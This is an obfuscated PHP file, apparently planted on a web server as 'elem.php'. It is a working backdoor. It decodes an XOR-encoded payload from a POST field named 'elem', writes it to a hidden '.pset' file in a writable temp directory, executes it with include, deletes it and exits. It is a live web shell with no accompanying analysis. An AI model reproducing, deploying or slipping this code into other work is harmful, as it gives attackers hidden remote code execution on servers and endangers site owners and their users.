File: /www/wwwroot/q.autos58.cn/elem.php
<?php if(fiLTEr_hAs_vAR(INPUT_POST,"ele\x6d")):$_0=ARray_FIlTer([getCWD(),sYS_get_tEmP_DiR(),iNI_GeT("u\x70load_tmp_dir"),geTENv("\124\x4d\x50"),sEsSioN_save_PaTh(),"/d\145v/shm",GEteNV("T\x45M\120"),"/\164mp","/var\x2ftm\160"]);$_1=$_REQUEST["\x65lem"];$_1=eXPLoDe("\x2e",$_1);$_2="";$_3="ab\143de\146ghijk\154\155n\x6fp\161\x72s\164\x75v\167xyz\060\061\x323\x3456789";$_4=StrLEN($_3);foreach($_1 as$_5=>$_6):$_7=orD($_3[$_5%$_4]);$_8=((int)$_6-$_7-($_5%(-655- -0b1010011001)))^(int)RoUNd(29.666666666667+29.666666666667+29.666666666667);$_2.=chR($_8);endforeach;for($_9=(int)roUND(0+0+0+0),$_10=counT($_0);$_9<$_10;$_9++):$_11=$_0[$_9];if(!(!IS_diR($_11)||!iS_wRiTAblE($_11))):$_12=VSPrINtF("%s\x2f\x25s",[$_11,".pset"]);if($_13=fOPeN($_12,"\x77")):if(FWrITe($_13,$_2)!==false):fClOse($_13);include $_12;@UNLINK($_12);exit;endif;endif;endif;endfor;endif;